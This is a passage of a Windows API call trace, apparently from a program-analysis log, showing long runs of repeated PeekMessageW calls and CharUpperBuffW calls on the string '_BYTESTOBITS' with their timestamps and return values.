wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.607] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.608] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.612] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.620] CharUpperBuffW 